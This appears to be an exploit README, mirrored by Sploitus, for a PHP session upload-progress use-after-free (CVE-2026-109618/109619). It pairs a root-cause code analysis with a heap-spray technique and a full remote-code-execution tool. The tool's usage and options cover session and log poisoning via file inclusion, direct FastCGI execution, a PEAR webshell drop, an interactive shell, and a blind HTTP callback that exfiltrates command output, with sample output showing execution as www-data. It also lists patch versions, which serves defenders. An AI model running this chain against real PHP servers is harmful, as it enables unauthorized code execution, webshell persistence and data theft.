Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 21, 2026

| `poc.py` | Full RCE exploit chain (session poison + LFI, log poison, FastCGI no-LFI, PEAR webshell) |

| `lab-uaf/` | Docker lab that reproduces the UAF primitive on PHP 8.4.4-fpm |

| `lab/` | Apache-based lab for testing the session-poison + LFI RCE chain |

PHP's `ext/session/session.c` rfc1867 upload-progress handler caches raw `zval*` pointers into the session HashTable (`arData`) at lines 3292 and 3318. When a multipart upload stalls longer than `session.upload_progress.min_freq` (default 1 s), a second `FILE_DATA` event triggers `php_session_rfc1867_update()` → `php_session_initialize()` → `php_session_track_init()`, which **frees the HashTable** (lines 236–252). The cached pointers now reference freed `arData` slots. The write at lines 3331–3332 (a `ZVAL_LONG` that stores `bytes_processed`) writes through those stale pointers — a classic heap use-after-free.

| Branch | Vulnerable through | Fixed in |

// session.c:3292 — pointer cached into HashTable arData

zend_hash_str_update(Z_ARRVAL_P(post_bytes_processed), ..., &tmp); // min_freq ...

// session.c:236-252 — track_init() frees the HashTable

zend_array_destroy(Z_ARR_P(session_vars)); // arData freed here

// session.c:3331 — write through stale cached pointer (UAF)

ZVAL_LONG(post_bytes_processed, new_bytes); // stale pointer write

Reproduces the stale-pointer write on stock PHP-FPM (no ASAN, no debug build).

git clone

# Run the PoC (5 rounds, session monitor enabled)

python3 scripts/php2shell_poc.py --monitor --rounds 5

SID: a043365f3b8b4cc6a5632fdefa8d1643

► Cached zval* pointers were written through (stale path reached)

python3 scripts/php2shell_poc.py [OPTIONS]

-t HOST Target host (default: 127.0.0.1)

-s SEC Stall duration in seconds; must be > min_freq (default: 1.5)

-r N Number of trigger rounds (default: 1)

-m Monitor mode — read session mid-stall to confirm arming

--spray N Heap spray: N dummy 256-byte file parts to exhaust the ZendMM

bin before arData is freed, raising the probability that the

stale write hits a live zend_string (type confusion → crash)

--verify Verify lab configuration before triggering

Phase 1: POST multipart with PHP_SESSION_UPLOAD_PROGRESS

└── rfc1867 callback fires → caches zval* pointers into arData

Stall: > session.upload_progress.min_freq (1 s)

└── callback re-runs php_session_initialize()

└── php_session_track_init() frees the HashTable (arData freed)

Phase 2: second FILE_DATA chunk sent over same TCP connection

└── ZVAL_LONG writes through stale cached pointer (UAF write)

With `--spray N`, `N` dummy file parts with 231-character filenames are prepended. Each filename becomes a 256-byte `zend_string` (24-byte header + 231 chars + 1 null = 256 bytes), matching the size of the 8-entry session HashTable `arData` (8 × 32-byte `Bucket` = 256 bytes). Exhausting the ZendMM 256-byte bin forces the freed `arData` chunk into a different slab path, increasing the probability that the stale write corrupts a live allocation rather than silently hitting the re-allocated `arData`.

python3 scripts/php2shell_poc.py --monitor --rounds 10 --spray 16

Full exploit chain with multiple fallback paths. Requires a PHP web application running a vulnerable PHP version.

python3 poc.py "id"

python3 poc.py "id" --lfi-param page

python3 poc.py "id" -i

# Blind callback (no LFI needed on target side)

python3 poc.py "id" --callback

### Exploit chain (ordered by reliability)

| 1 | Session poison + LFI | App has `include($_GET[...])` or similar |

| 2 | Log poisoning + LFI | Apache/nginx write access log readable via LFI |

| 3 | FastCGI direct (no LFI) | php-fpm port reachable (9000–9003) |

| 4 | PEAR webshell drop | `/usr/ /php/pearcmd.php` accessible |

command Command to execute

--lfi-param PARAM Known LFI parameter name (auto-discovered if omitted)

--rounds N Upload rounds per attempt (default: 3)

--chunk-size N Upload chunk size in bytes (default: 128)

--chunk-delay SEC Delay between chunks (default: 0.01)

--modes {session,log,fastcgi,pear} Comma-separated mode list (default: all)

--probe-only Only check if target is vulnerable, don't exploit

--no-verify Skip SSL certificate verification

--cafile FILE CA certificate file for SSL verification

-i, --interactive Drop to interactive shell on success

--callback URL Blind callback URL (exfiltrate output via HTTP)

python3 ../poc.py "id" \

COMMAND OUTPUT: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Update PHP to the fixed release for your branch (8.2.35+, 8.3.36+, 8.4.27+, 8.5.12+).

The vendor fix removes the long-lived `zval*` cache in `php_session_rfc1867_callback()` and re-derives the target pointer on each write instead of caching it across the stall window.

- CVE-2026-109618 — `post_bytes_processed` stale pointer (session.c:3292)

- CVE-2026-109619 — `current_file_bytes_processed` stale pointer (session.c:3318)

- PHP bug tracker: bugs.php.net (patch committed 2026-09)

- Original research: Ahmed Sultan (0x4148) — jackalsyn.com/posts/php-up-2026.html

This code is for authorized security testing, research, and education only. The authors are not responsible for any unauthorized use. Run this only against systems you own or have explicit written permission to test.

Licensed under the [MIT License](LICENSE).

Extracted Entities